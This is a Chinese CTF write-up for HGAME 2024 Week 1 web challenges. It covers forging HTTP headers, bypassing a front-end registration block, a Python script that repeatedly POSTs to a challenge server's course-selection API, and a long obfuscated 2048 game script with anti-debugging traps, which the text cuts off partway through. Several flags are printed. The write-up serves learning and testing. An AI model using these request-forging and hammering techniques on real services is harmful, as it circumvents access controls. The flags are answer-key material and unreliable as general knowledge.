HGAME 2024 WEEK1-By.Starven

发布于 2024-02-11  32 次阅读


ak web misc方向 其他方向的混分题就不写了

web-ezhttp

考点

  • http协议伪造

分析

伪造referer: image.png

伪造ua头: image.png

伪造ip: image.png

image.png

从jwt得到flag: image.png

flag

拿去解码得到flag:

{"F14g":"hgame{HTTP_!s_1mP0rT4nt}"}

web-Bypass it

考点

  • 前端禁用

分析

注册被进制,但是是前端禁的,禁用js即可

image.png
image.png
image.png

flag

登陆进去得到flag

hgame{32963bf804322e48e1a328d491d5efeb7aad2703}

web-selected course

考点

  • js代码审计
  • 脚本能力

分析

image.png

目标就是在已满的课程中抢课

不过模拟的环境应该是每过一段时间有学生退课然后就可以抢到了

js代码审计

<script>
function togglePanelInfoContainer(panel) {
  var panelInfoContainer = panel.querySelector(".panel-info-container");
  if (panelInfoContainer.classList.contains("display-flex")) {
    panelInfoContainer.classList.remove("display-flex");
    panelInfoContainer.classList.add("display-none");
  } else {
    panelInfoContainer.classList.remove("display-none");
    panelInfoContainer.classList.add("display-flex");
  }
}
async function getCourses() {
  try {
    const response = await fetch('/api/courses');
    const data = await response.json();
    renderCourses(data.message);
  } catch (error) {
    console.log(error);
  }
}
function renderCourses(courses) {
  const selectorContainer = document.getElementById('selector-container');
  courses.forEach(course => {
    const section = document.createElement('section');
    section.className = 'panel im-container';
    section.setAttribute('data-id', course.id);
    const panelHeader = document.createElement('div');
    panelHeader.className = `
      panel-header
      ${course.status ? 'selected' : 'to-select'}
    `;
    panelHeader.onclick = function() {
      togglePanelInfoContainer(this.parentNode);
    };
    const panelText = document.createElement('p');
    panelText.className = 'panel-text';
    panelText.innerHTML = `
      <span>${course.descrption} 状态:</span>
      <span>${course.status ? '已选' : '未选'}</span>
    `;
    panelHeader.appendChild(panelText);
    const panelInfoContainer = document.createElement('div');
    panelInfoContainer.className = 'panel-info-container display-none';
    const table = document.createElement('table');
    const thead = document.createElement('thead');
    thead.innerHTML = `
      <tr>
        <th>课程名称</th>
        <th>课程性质</th>
        <th>上课时间</th>
        <th>教学地点</th>
        <th>已选/容量</th>
        <th>操作</th>
      </tr>
    `;
    const tbody = document.createElement('tbody');
    const row = document.createElement('tr');
    row.innerHTML = `
      <td>${course.name}</td>
      <td>${course.sort}</td>
      <td>${course.time}</td>
      <td>${course.location}</td>
      <td>${course.is_full ? '已满' : '未满'}</td>
      <td>
        <button class="selector-button ${course.status ? 'selected-button' : 'wait-select-button'}" onclick="selectCourse(${course.id})">${course.status ? '已选' : '选课'}</button>
      </td>
    `;
    tbody.appendChild(row);
    table.appendChild(thead);
    table.appendChild(tbody);
    panelInfoContainer.appendChild(table);
    section.appendChild(panelHeader);
    section.appendChild(panelInfoContainer);
    selectorContainer.appendChild(section);
  });
}
async function selectCourse(id) {
  try {
    const response = await fetch('/api/courses', {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json'
      },
      body: JSON.stringify({
        "id": id
      })
    });
    const data = await response.json();
    alert(data.message);
  } catch (error) {
    alert(data.message);
  }
}
async function TellAgu() {
  try {
    const response = await fetch('/api/ok', {
      method: 'GET',
      headers: {
        'Content-Type': 'application/json'
      }
    });
    const data = await response.json();
    alert(data.message);
  } catch (error) {
    alert(data.message);
  }
}
getCourses();
</script>

无疑,最关键的是这两段

async function getCourses() {
  try {
    const response = await fetch('/api/courses');
    const data = await response.json();
    renderCourses(data.message);
  } catch (error) {
    console.log(error);
  }
}
async function selectCourse(id) {
  try {
    const response = await fetch('/api/courses', {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json'
      },
      body: JSON.stringify({
        "id": id
      })
    });
    const data = await response.json();
    alert(data.message);
  } catch (error) {
    alert(data.message);
  }
}
async function TellAgu() {
  try {
    const response = await fetch('/api/ok', {
      method: 'GET',
      headers: {
        'Content-Type': 'application/json'
      }
    });
    const data = await response.json();
    alert(data.message);
  } catch (error) {
    alert(data.message);
  }
}

可以看到获取选课信息和抢课都是/api/courses接口

获取状态信息是api/ok接口

编写python脚本抢课

最简易的:手动在选课界面刷新看成功没有

import requests
import json

url = 'http://47.100.245.185:30168/'
headers={'Content-Type':'application/json'}
while True:
    for i in range(1,6):
        post_url = f"{url}/api/courses"
        payload={'id':i}
        post_res = requests.post(post_url,headers=headers,json=payload)
        print(post_res)

稍作优化:

import requests
import json

url = 'http://47.100.245.185:30168/'
headers={'Content-Type':'application/json'}
info = json.loads(requests.get(url='http://47.100.245.185:30168/api/courses').text)['message']

i=1

while True:
    for j in range(1,6):
        post_url = f"{url}/api/courses"
        payload={'id':j}
        print('course'+str(j)+':'+str(info[j-1]['status']))
        post_res = requests.post(post_url,headers=headers,json=payload)
        #print(post_res)
    print("第"+str(i)+"轮选课结束\n")
    i=i+1
image.png

flag

hgame{w0W_!_1E4Rn_To_u5e_5cripT_^_^}

web-2048* 16

考点

  • js代码审计
  • js代码修改如何生效?

分析

目标很明确,达到指定分数即可

image.png

js代码审计

f12被ban,浏览器找到更多工具-->开发者工具

点击右处跳过全部代码,进入关键代码审计 [[#关键代码]]

function q() {
    const x = ["return (function() ", "51rDvFsO", "280bIrfll", "crossOrigin", "debu", "5573704jgYESE", "526422EOMPDB", "19pdzydt", "70220etHPRV", "26502443qIuDbf", '{}.constructor("return this")( )', "type", "string", "172742zcyDzi", "tagName", "include", "link", "LINK", "same-origin", "test", "function *\\( *\\)", "apply", "init", "386856yRDrIu", "addedNodes", 'link[rel="modulepreload"]', "length", "input", "stateObject", "modulepreload", "relList", "createElement", "supports", "10594465MEmbDB", "5JjJNqT", "setInterval", "querySelectorAll", "referrerPolicy", "credentials", "gger", "anonymous", "integrity", "observe", "action", "use-credentials", "constructor", "omit", "\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)"];
    return q = function() {
        return x
    }
    ,
    q()
}
(function(x, n) {
    const e = z
      , t = x();
    for (; ; )
        try {
            if (-parseInt(e(285)) / 1 * (-parseInt(e(291)) / 2) + parseInt(e(279)) / 3 * (parseInt(e(286)) / 4) + -parseInt(e(264)) / 5 * (parseInt(e(284)) / 6) + -parseInt(e(263)) / 7 + -parseInt(e(283)) / 8 + -parseInt(e(253)) / 9 * (parseInt(e(280)) / 10) + parseInt(e(287)) / 11 === n)
                break;
            t.push(t.shift())
        } catch {
            t.push(t.shift())
        }
}
)(q, -256319 + -5 * -139997 + 7 * 57662),
function() {
    const x = z;
    let n;
    try {
        n = Function(x(278) + x(288) + ");")()
    } catch {
        n = window
    }
    n[x(265)](V, 9793 + -977 * 9)
}(),
function() {
    const n = z
      , e = function() {
        let o = !0;
        return function(c, i) {
            const f = o ? function() {
                const b = z;
                if (i) {
                    const s = i[b(251)](c, arguments);
                    return i = null,
                    s
                }
            }
            : function() {}
            ;
            return o = !1,
            f
        }
    }()
      , t = document[n(261)](n(294))[n(260)];
    if (t && t[n(262)] && t[n(262)](n(259)))
        return;
    for (const o of document[n(266)](n(255)))
        a(o);
    new MutationObserver(o=>{
        const c = n;
        for (const i of o)
            if (i[c(289)] === "childList")
                for (const f of i[c(254)])
                    f[c(292)] === c(295) && f.rel === c(259) && a(f)
    }
    )[n(272)](document, {
        childList: !0,
        subtree: !0
    });
    function r(o) {
        const c = n
          , i = {};
        return o[c(271)] && (i.integrity = o[c(271)]),
        o[c(267)] && (i[c(267)] = o[c(267)]),
        o[c(281)] === c(274) ? i.credentials = c(293) : o.crossOrigin === c(270) ? i[c(268)] = c(276) : i[c(268)] = c(296),
        i
    }
    function a(o) {
        if (function() {
            e(this, function() {
                const i = z
                  , f = new RegExp(i(250))
                  , b = new RegExp(i(277),"i")
                  , s = V(i(252));
                !f[i(249)](s + "chain") || !b[i(249)](s + i(257)) ? s("0") : V()
            })()
        }(),
        o.ep)
            return;
        o.ep = !0;
        const c = r(o);
        fetch(o.href, c)
    }
}();
function z(x, n) {
    const e = q();
    return z = function(t, r) {
        return t = t - (-109 * -23 + -6806 + 4548),
        e[t]
    }
    ,
    z(x, n)
}
function V(x) {
    function n(e) {
        const t = z;
        if (typeof e === t(290))
            return (function(r) {}
            )[t(275)]("while (true) {}")[t(251)]("counter");
        ("" + e / e)[t(256)] !== 3561 + 712 * -5 || e % (10 * 929 + 676 + 4973 * -2) === 8536 + -1 * 5 + -1 * 8531 ? (function() {
            return !0
        }
        )[t(275)](t(282) + t(269)).call(t(273)) : (function() {
            return !1
        }
        )[t(275)]("debu" + t(269))[t(251)](t(258)),
        n(++e)
    }
    try {
        if (x)
            return n;
        n(599 * -15 + 8263 * 1 + 722)
    } catch {}
}
function B() {
    var x = ["9LlsUAf", "6615190CZtzht", "action", "2SIEKZa", "input", "chain", "1839108xhNjEQ", "init", "constructor", "apply", "function *\\( *\\)", "stateObject", "length", "string", "return (function() ", "counter", "81IqYNDO", "setInterval", "380617hQAZKq", "5419190eBGzuu", "test", "gger", "634120aohGbc", "prototype", "44PVAEyQ", "debu", "\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)", "call", '{}.constructor("return this")( )', "914838PEvTmP", "4634546zPjRug", "bind"];
    return B = function() {
        return x
    }
    ,
    B()
}
function A(x, n) {
    var e = B();
    return A = function(t, r) {
        t = t - (4285 * 1 + 5277 + -9265);
        var a = e[t];
        return a
    }
    ,
    A(x, n)
}
var Q = A;
(function(x, n) {
    for (var e = A, t = x(); ; )
        try {
            var r = parseInt(e(323)) / 1 * (parseInt(e(308)) / 2) + parseInt(e(305)) / 3 * (-parseInt(e(311)) / 4) + -parseInt(e(324)) / 5 + parseInt(e(302)) / 6 + -parseInt(e(303)) / 7 + -parseInt(e(327)) / 8 * (-parseInt(e(321)) / 9) + -parseInt(e(306)) / 10 * (-parseInt(e(297)) / 11);
            if (r === n)
                break;
            t.push(t.shift())
        } catch {
            t.push(t.shift())
        }
}
)(B, 10751 * -125 + 1236271 * -1 + 50 * 66949),
function() {
    var x = A, n;
    try {
        var e = Function(x(319) + x(301) + ");");
        n = e()
    } catch {
        n = window
    }
    n[x(322)](t0, 9 * 189 + 9223 * -1 + 8522)
}();
var o0 = function() {
    var x = !0;
    return function(n, e) {
        var t = x ? function() {
            var r = A;
            if (e) {
                var a = e[r(314)](n, arguments);
                return e = null,
                a
            }
        }
        : function() {}
        ;
        return x = !1,
        t
    }
}();
(function() {
    o0(this, function() {
        var x = A
          , n = new RegExp(x(315))
          , e = new RegExp(x(299),"i")
          , t = t0(x(312));
        !n[x(325)](t + x(310)) || !e[x(325)](t + x(309)) ? t("0") : t0()
    })()
}
)(),
Function.prototype[Q(304)] = Function[Q(328)][Q(304)] || function(x) {
    var n = this;
    return function(e) {
        var t = A;
        !(e instanceof Array) && (e = [e]),
        n[t(314)](x, e)
    }
}
;
function t0(x) {
    function n(e) {
        var t = A;
        if (typeof e === t(318))
            return (function(r) {}
            )[t(313)]("while (true) {}")[t(314)](t(320));
        ("" + e / e)[t(317)] !== -5356 + 373 * 23 + 1 * -3222 || e % (6562 + 2 * -3208 + -126) === -4243 + -1 * -4243 ? (function() {
            return !0
        }
        )[t(313)]("debu" + t(326))[t(300)](t(307)) : (function() {
            return !1
        }
        )[t(313)](t(298) + t(326)).apply(t(316)),
        n(++e)
    }
    try {
        if (x)
            return n;
        n(-579 * -5 + 8573 * -1 + 5678)
    } catch {}
}
function G() {
    var x = ["return (function() ", "split", "toString", "defineProperty", "function *\\( *\\)", "contains", "1704196bMgWxW", "add", "setInterval", "apply", "call", "replace", "classList", "1269978Xzqbcj", "42zqXkFW", "init", "push", "input", "remove", "join", "debu", "gger", "className", "2346057LJZzHm", "while (true) {}", "constructor", '{}.constructor("return this")( )', "50806860EEqONn", "action", "__defineGetter__", "DOMTokenList", "test", "string", "prototype", "length", "1143075VSCewc", "splice", "843116UUCRvQ", "135YrtGzY", "indexOf", "30AgjxaK", "undefined", "\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)", "Element", "chain", "703568zlpkPs"];
    return G = function() {
        return x
    }
    ,
    G()
}
function w(x, n) {
    var e = G();
    return w = function(t, r) {
        t = t - 137;
        var a = e[t];
        return a
    }
    ,
    w(x, n)
}
(function(x, n) {
    for (var e = w, t = x(); ; )
        try {
            var r = parseInt(e(151)) / 1 + -parseInt(e(168)) / 2 + -parseInt(e(139)) / 3 + -parseInt(e(153)) / 4 * (parseInt(e(156)) / 5) + parseInt(e(175)) / 6 * (-parseInt(e(176)) / 7) + -parseInt(e(161)) / 8 * (parseInt(e(154)) / 9) + parseInt(e(143)) / 10;
            if (r === n)
                break;
            t.push(t.shift())
        } catch {
            t.push(t.shift())
        }
}
)(G, -3 * 399277 + 91961 + 920836 * 2),
function() {
    var x = w
      , n = function() {
        var i = !0;
        return function(f, b) {
            var s = i ? function() {
                var p = w;
                if (b) {
                    var y = b[p(171)](f, arguments);
                    return b = null,
                    y
                }
            }
            : function() {}
            ;
            return i = !1,
            s
        }
    }();
    if (typeof window[x(159)] === x(157) || x(174)in document.documentElement)
        return;
    var e = Array.prototype
      , t = e[x(178)]
      , r = e[x(152)]
      , a = e[x(181)];
    function o(i) {
        var f = x;
        this.el = i;
        for (var b = i[f(138)][f(173)](/^\s+|\s+$/g, "")[f(163)](/\s+/), s = 0; s < b[f(150)]; s++)
            t[f(172)](this, b[s])
    }
    o[x(149)] = {
        add: function(i) {
            var f = x;
            this[f(167)](i) || (t[f(172)](this, i),
            this.el.className = this[f(164)]())
        },
        contains: function(i) {
            var f = x;
            return this.el[f(138)][f(155)](i) != -1
        },
        item: function(i) {
            return this[i] || null
        },
        remove: function(i) {
            var f = x;
            if (this[f(167)](i)) {
                for (var b = 0; b < this.length && this[b] != i; b++)
                    ;
                r[f(172)](this, b, 2 * -348 + -7029 + 2 * 3863),
                this.el[f(138)] = this.toString()
            }
        },
        toString: function() {
            var i = x;
            return a[i(172)](this, " ")
        },
        toggle: function(i) {
            var f = x;
            return this.contains(i) ? this[f(180)](i) : this[f(169)](i),
            this[f(167)](i)
        }
    },
    window[x(146)] = o;
    function c(i, f, b) {
        var s = x;
        (function() {
            n(this, function() {
                var p = w
                  , y = new RegExp(p(166))
                  , R = new RegExp(p(158),"i")
                  , Y = W(p(177));
                !y[p(147)](Y + p(160)) || !R[p(147)](Y + p(179)) ? Y("0") : W()
            })()
        }
        )(),
        Object[s(165)] ? Object.defineProperty(i, f, {
            get: b
        }) : i[s(145)](f, b)
    }
    c(HTMLElement[x(149)], x(174), function() {
        return new o(this)
    })
}(),
function() {
    var x = w
      , n = function() {
        var t = w, r;
        try {
            r = Function(t(162) + t(142) + ");")()
        } catch {
            r = window
        }
        return r
    }
      , e = n();
    e[x(170)](W, 2367 + 1 * -1367)
}();
function W(x) {
    function n(e) {
        var t = w;
        if (typeof e === t(148))
            return (function(r) {}
            ).constructor(t(140))[t(171)]("counter");
        ("" + e / e)[t(150)] !== 16487 + 1 * -16486 || e % (-3141 + -1281 * -5 + -4 * 811) === 0 ? (function() {
            return !0
        }
        )[t(141)](t(182) + "gger")[t(172)](t(144)) : (function() {
            return !1
        }
        )[t(141)]("debu" + t(137)).apply("stateObject"),
        n(++e)
    }
    try {
        if (x)
            return n;
        n(-8778 + -3 * -198 + 8184)
    } catch {}
}
function C(x, n) {
    var e = K();
    return C = function(t, r) {
        t = t - (-8611 + 1 * -5493 + -111 * -129);
        var a = e[t];
        return a
    }
    ,
    C(x, n)
}
(function(x, n) {
    for (var e = C, t = x(); ; )
        try {
            var r = -parseInt(e(225)) / 1 + -parseInt(e(227)) / 2 * (-parseInt(e(235)) / 3) + -parseInt(e(216)) / 4 * (-parseInt(e(241)) / 5) + -parseInt(e(233)) / 6 + parseInt(e(246)) / 7 + parseInt(e(243)) / 8 + -parseInt(e(236)) / 9;
            if (r === n)
                break;
            t.push(t.shift())
        } catch {
            t.push(t.shift())
        }
}
)(K, -1 * 111745 + -168643 * -1 + 52114),
function() {
    var x = C
      , n = function() {
        var a = !0;
        return function(o, c) {
            var i = a ? function() {
                var f = C;
                if (c) {
                    var b = c[f(231)](o, arguments);
                    return c = null,
                    b
                }
            }
            : function() {}
            ;
            return a = !1,
            i
        }
    }();
    (function() {
        n(this, function() {
            var a = C
              , o = new RegExp(a(226))
              , c = new RegExp("\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)","i")
              , i = e0("init");
            !o[a(221)](i + a(234)) || !c[a(221)](i + a(230)) ? i("0") : e0()
        })()
    }
    )();
    for (var e = 898 * -10 + -4777 + -1 * -13757, t = ["webkit", x(237)], r = 11 * -523 + 2041 * -2 + -9835 * -1; r < t[x(215)] && !window.requestAnimationFrame; ++r)
        window[x(219)] = window[t[r] + x(245)],
        window.cancelAnimationFrame = window[t[r] + x(238)] || window[t[r] + x(249)];
    !window[x(219)] && (window.requestAnimationFrame = function(a) {
        var o = x
          , c = new Date()[o(217)]()
          , i = Math[o(228)](601 * -4 + 5 * -34 + -99 * -26, -5571 + 151 * 37 - (c - e))
          , f = window[o(244)](function() {
            a(c + i)
        }, i);
        return e = c + i,
        f
    }
    ),
    !window[x(229)] && (window[x(229)] = function(a) {
        clearTimeout(a)
    }
    )
}();
function K() {
    var x = ["70115vpPusE", "function *\\( *\\)", "6rsOtNX", "max", "cancelAnimationFrame", "input", "apply", "counter", "1239498Ejodmk", "chain", "145881ZODJcX", "258201rhRaGw", "moz", "CancelAnimationFrame", "action", "setInterval", "7045XIVanM", "debu", "896440ALmBrn", "setTimeout", "RequestAnimationFrame", "769762NphSHl", "gger", "constructor", "CancelRequestAnimationFrame", "length", "132gYoVxA", "getTime", "while (true) {}", "requestAnimationFrame", "call", "test", '{}.constructor("return this")( )', "stateObject", "return (function() "];
    return K = function() {
        return x
    }
    ,
    K()
}
function e0(x) {
    function n(e) {
        var t = C;
        if (typeof e == "string")
            return (function(r) {}
            )[t(248)](t(218))[t(231)](t(232));
        ("" + e / e)[t(215)] !== -4551 * -1 + 7 * 643 + -9051 || e % (-262 * -5 + -1150 * 1 + -140) === 704 + 1 * -9830 + 18 * 507 ? (function() {
            return !0
        }
        )[t(248)](t(242) + t(247))[t(220)](t(239)) : (function() {
            return !1
        }
        )[t(248)]("debu" + t(247)).apply(t(223)),
        n(++e)
    }
    try {
        if (x)
            return n;
        n(-1747 * -5 + -3714 + 5021 * -1)
    } catch {}
}
(function() {
    var x = C, n;
    try {
        var e = Function(x(224) + x(222) + ");");
        n = e()
    } catch {
        n = window
    }
    n[x(240)](e0, 67 * 105 + 1 * -2510 + -3525 * 1)
}
)();
function S(x, n) {
    var e = L();
    return S = function(t, r) {
        t = t - (-37 + -14 * -23);
        var a = e[t];
        return a
    }
    ,
    S(x, n)
}
var m = S;
(function(x, n) {
    for (var e = S, t = x(); ; )
        try {
            var r = parseInt(e(302)) / 1 + -parseInt(e(304)) / 2 + -parseInt(e(329)) / 3 * (-parseInt(e(341)) / 4) + parseInt(e(342)) / 5 + -parseInt(e(335)) / 6 + -parseInt(e(314)) / 7 * (parseInt(e(287)) / 8) + parseInt(e(313)) / 9 * (parseInt(e(316)) / 10);
            if (r === n)
                break;
            t.push(t.shift())
        } catch {
            t.push(t.shift())
        }
}
)(L, 485449 + -76157 * 11 + 771520);
var f0 = function() {
    var x = !0;
    return function(n, e) {
        var t = x ? function() {
            var r = S;
            if (e) {
                var a = e[r(319)](n, arguments);
                return e = null,
                a
            }
        }
        : function() {}
        ;
        return x = !1,
        t
    }
}();
(function() {
    f0(this, function() {
        var x = S
          , n = new RegExp(x(299))
          , e = new RegExp(x(339),"i")
          , t = n0("init");
        !n[x(285)](t + x(296)) || !e[x(285)](t + x(288)) ? t("0") : n0()
    })()
}
)();
function k() {
    var x = S;
    this.events = {},
    window.navigator[x(291)] ? (this.eventTouchstart = x(323),
    this[x(332)] = x(307),
    this.eventTouchend = "MSPointerUp") : (this[x(318)] = x(326),
    this[x(332)] = x(345),
    this.eventTouchend = x(328)),
    this[x(348)]()
}
function L() {
    var x = ["clientX", "MSPointerDown", "push", ".retry-button", "touchstart", "preventDefault", "touchend", "75eegQJU", "length", "eventTouchend", "eventTouchmove", "touches", "targetTouches", "3001158EZLWmg", "which", "restart", "emit", "\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)", "navigator", "17048CopiKL", "1874920nvbdip", "keydown", ".keep-playing-button", "touchmove", "string", "changedTouches", "listen", "test", '{}.constructor("return this")( )', "1431568bfoJpP", "input", "while (true) {}", "events", "msPointerEnabled", "keepPlaying", "setInterval", "addEventListener", "pageX", "chain", "action", "pageY", "function *\\( *\\)", "debu", "clientY", "717081qeHHls", "metaKey", "454404jxpplW", "counter", "call", "MSPointerMove", "game-container", "return (function() ", "gger", "bindButtonPress", "ctrlKey", "126AXFuSy", "14CoizGI", "constructor", "218510vtkZcF", "bind", "eventTouchstart", "apply", "prototype", "querySelector"];
    return L = function() {
        return x
    }
    ,
    L()
}
(function() {
    var x = S, n;
    try {
        var e = Function(x(309) + x(286) + ");");
        n = e()
    } catch {
        n = window
    }
    n[x(293)](n0, 1e3)
}
)(),
k[m(320)].on = function(x, n) {
    var e = m;
    !this[e(290)][x] && (this[e(290)][x] = []),
    this[e(290)][x][e(324)](n)
}
,
k.prototype.emit = function(x, n) {
    var e = this.events[x];
    e && e.forEach(function(t) {
        t(n)
    })
}
,
k.prototype.listen = function() {
    var x = m
      , n = this
      , e = {
        38: 0,
        39: 1,
        40: 2,
        37: 3,
        75: 0,
        76: 1,
        74: 2,
        72: 3,
        87: 0,
        68: 1,
        83: 2,
        65: 3
    };
    document[x(294)](x(343), function(o) {
        var c = x
          , i = o.altKey || o[c(312)] || o[c(303)] || o.shiftKey
          , f = e[o[c(336)]];
        !i && f !== void 0 && (o[c(327)](),
        n[c(338)]("move", f)),
        !i && o[c(336)] === 1 * -2163 + -3691 + 8 * 742 && n[c(337)].call(n, o)
    }),
    this[x(311)](x(325), this[x(337)]),
    this[x(311)](".restart-button", this.restart),
    this[x(311)](x(344), this.keepPlaying);
    var t, r, a = document.getElementsByClassName(x(308))[7181 + 43 * -167];
    a.addEventListener(this.eventTouchstart, function(o) {
        var c = x;
        !window[c(340)][c(291)] && o.touches.length > 7033 + 10 * -542 + -1612 || o[c(334)][c(330)] > 3004 + -13 * 231 || (window[c(340)][c(291)] ? (t = o[c(295)],
        r = o[c(298)]) : (t = o[c(333)][181 * 54 + 9738 + -9756 * 2].clientX,
        r = o[c(333)][-2910 + 15 * 62 + 180 * 11][c(301)]),
        o[c(327)]())
    }),
    a[x(294)](this[x(332)], function(o) {
        o.preventDefault()
    }),
    a[x(294)](this[x(331)], function(o) {
        var c = x;
        if (!(!window[c(340)][c(291)] && o[c(333)].length > 256 + -1 * -6271 + -61 * 107 || o[c(334)][c(330)] > 0)) {
            var i, f;
            window[c(340)][c(291)] ? (i = o[c(295)],
            f = o[c(298)]) : (i = o[c(347)][-2280 + 570 * 4][c(322)],
            f = o[c(347)][29 * 79 + 3 * -1868 + 1 * 3313].clientY);
            var b = i - t
              , s = Math.abs(b)
              , p = f - r
              , y = Math.abs(p);
            Math.max(s, y) > 25 * -265 + -675 + 170 * 43 && n[c(338)]("move", s > y ? b > 0 ? -7662 + -97 * -79 : -45 * 25 + 8557 + 17 * -437 : p > 16 * -159 + 2 * 490 + -17 * -92 ? -10033 + 669 * 15 : 1617 + 1 * -4601 + 2984)
        }
    })
}
,
k.prototype[m(337)] = function(x) {
    var n = m;
    x[n(327)](),
    this[n(338)](n(337))
}
,
k[m(320)][m(292)] = function(x) {
    var n = m;
    x[n(327)](),
    this.emit(n(292))
}
,
k.prototype[m(311)] = function(x, n) {
    var e = m
      , t = document[e(321)](x);
    t[e(294)]("click", n[e(317)](this)),
    t[e(294)](this[e(331)], n[e(317)](this))
}
;
function n0(x) {
    function n(e) {
        var t = S;
        if (typeof e === t(346))
            return (function(r) {}
            )[t(315)](t(289))[t(319)](t(305));
        ("" + e / e)[t(330)] !== 5053 * 1 + 8725 + -13777 || e % 20 === 6723 + -9 * 747 ? (function() {
            return !0
        }
        )[t(315)](t(300) + "gger")[t(306)](t(297)) : (function() {
            return !1
        }
        )[t(315)]("debu" + t(310))[t(319)]("stateObject"),
        n(++e)
    }
    try {
        if (x)
            return n;
        n(-1762 * -4 + 9094 + -16142)
    } catch {}
}
var h = F;
(function(x, n) {
    for (var e = F, t = x(); ; )
        try {
            var r = -parseInt(e(470)) / 1 + -parseInt(e(466)) / 2 + parseInt(e(487)) / 3 * (parseInt(e(430)) / 4) + parseInt(e(446)) / 5 + parseInt(e(493)) / 6 + -parseInt(e(431)) / 7 + parseInt(e(451)) / 8;
            if (r === n)
                break;
            t.push(t.shift())
        } catch {
            t.push(t.shift())
        }
}
)($, -1 * -639371 + -997 * 937 + 896117 * 1);
var u0 = function() {
    var x = !0;
    return function(n, e) {
        var t = x ? function() {
            var r = F;
            if (e) {
                var a = e[r(467)](n, arguments);
                return e = null,
                a
            }
        }
        : function() {}
        ;
        return x = !1,
        t
    }
}();
(function() {
    u0(this, function() {
        var x = F
          , n = new RegExp(x(485))
          , e = new RegExp(x(475),"i")
          , t = r0(x(471));
        !n.test(t + x(450)) || !e.test(t + "input") ? t("0") : r0()
    })()
}
)();
function $() {
    var x = ["debu", "charAt", "game-over", "push", "tile", "3218200jObBXv", "gger", "bestContainer", "firstChild", "chain", "4992592cfFfKg", "updateBestScore", "Game over!", "add", "score-addition", ".best-container", "over", ".tile-container", "scoreContainer", "counter", "clearMessage", "tile-", "tile-merged", "appendChild", "remove", "1457704JdCGrI", "apply", "clearContainer", "message", "1135845OAckHq", "init", "requestAnimationFrame", "addTile", "applyClasses", "\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)", "value", "while (true) {}", "call", "length", "querySelector", "indexOf", "string", "div", "tile-new", "function *\\( *\\)", "setInterval", "2589jWZTtI", "updateScore", "class", "createElement", "score", '{}.constructor("return this")( )', "4321134sPxlgc", "stateObject", "positionClass", "action", "terminated", "won", "tile-position-", "constructor", "join", "fromCharCode", "forEach", "textContent", "normalizePosition", "continueGame", "previousPosition", "bestScore", "3224mBKYMJ", "1522395ywebnW", "prototype", ".score-container", "actuate", "getElementsByTagName", "tile-super", "classList", "messageContainer", "I7R8ITMCnzbCn5eFIC=6yliXfzN=I5NMnz0XIC==yzycysi70ci7y7iK", "tileContainer"];
    return $ = function() {
        return x
    }
    ,
    $()
}
function g() {
    var x = F;
    this[x(440)] = document[x(480)](x(458)),
    this[x(459)] = document[x(480)](x(433)),
    this[x(448)] = document[x(480)](x(456)),
    this.messageContainer = document[x(480)](".game-message"),
    this[x(491)] = -4114 * 1 + -1 * 2915 + 7029
}
function F(x, n) {
    var e = $();
    return F = function(t, r) {
        t = t - (-4073 * 1 + 84 * -39 + 7766);
        var a = e[t];
        return a
    }
    ,
    F(x, n)
}
g[h(432)][h(434)] = function(x, n) {
    var e = h
      , t = this;
    window[e(472)](function() {
        var r = e;
        t[r(468)](t[r(440)]),
        x.cells[r(424)](function(a) {
            var o = r;
            a[o(424)](function(c) {
                c && t.addTile(c)
            })
        }),
        t[r(488)](n[r(491)]),
        t[r(452)](n[r(429)]),
        n[r(418)] && (n[r(457)] ? t[r(469)](!1) : n[r(419)] && t[r(469)](!0))
    })
}
,
g.prototype[h(427)] = function() {
    var x = h;
    this[x(461)]()
}
,
g[h(432)][h(468)] = function(x) {
    for (var n = h; x[n(449)]; )
        x.removeChild(x[n(449)])
}
,
g.prototype[h(473)] = function(x) {
    var n = h
      , e = this
      , t = document.createElement(n(483))
      , r = document[n(490)](n(483))
      , a = x[n(428)] || {
        x: x.x,
        y: x.y
    }
      , o = this.positionClass(a)
      , c = [n(445), n(462) + x.value, o];
    x[n(476)] > 2048 && c[n(444)](n(436)),
    this[n(474)](t, c),
    r[n(437)][n(454)]("tile-inner"),
    r[n(425)] = x[n(476)],
    x[n(428)] ? window[n(472)](function() {
        var i = n;
        c[4313 + 1 * -1761 + -2550] = e[i(495)]({
            x: x.x,
            y: x.y
        }),
        e[i(474)](t, c)
    }) : x.mergedFrom ? (c[n(444)](n(463)),
    this[n(474)](t, c),
    x.mergedFrom[n(424)](function(i) {
        var f = n;
        e[f(473)](i)
    })) : (c[n(444)](n(484)),
    this.applyClasses(t, c)),
    t[n(464)](r),
    this[n(440)][n(464)](t)
}
,
g[h(432)][h(474)] = function(x, n) {
    var e = h;
    x.setAttribute(e(489), n[e(422)](" "))
}
,
g[h(432)][h(426)] = function(x) {
    return {
        x: x.x + (-2 * -906 + 1171 + 21 * -142),
        y: x.y + (237 * -31 + 3 * 4 + -1834 * -4)
    }
}
,
g[h(432)][h(495)] = function(x) {
    var n = h;
    return x = this[n(426)](x),
    n(420) + x.x + "-" + x.y
}
,
g[h(432)][h(488)] = function(x) {
    var n = h;
    this[n(468)](this[n(459)]);
    var e = x - this[n(491)];
    if (this[n(491)] = x,
    this[n(459)][n(425)] = this[n(491)],
    e > 4659 + -66 * 102 + 2073) {
        var t = document[n(490)]("div");
        t[n(437)][n(454)](n(455)),
        t[n(425)] = "+" + e,
        this.scoreContainer[n(464)](t)
    }
}
,
g.prototype.updateBestScore = function(x) {
    this.bestContainer.textContent = x
}
,
g[h(432)][h(469)] = function(x) {
    var n = h
      , e = x ? "game-won" : n(443)
      , t = x ? s0(n(439), "V+g5LpoEej/fy0nPNivz9SswHIhGaDOmU8CuXb72dB1xYMrZFRAl=QcTq6JkWK4t3") : n(453);
    this[n(438)][n(437)].add(e),
    this[n(438)][n(435)]("p")[-1257 * -5 + 9 * 1094 + -5377 * 3].textContent = t
}
,
function() {
    var x = h, n;
    try {
        var e = Function("return (function() " + x(492) + ");");
        n = e()
    } catch {
        n = window
    }
    n[x(486)](r0, -1633 + -1033 * -6 + -115 * 31)
}(),
g[h(432)][h(461)] = function() {
    var x = h;
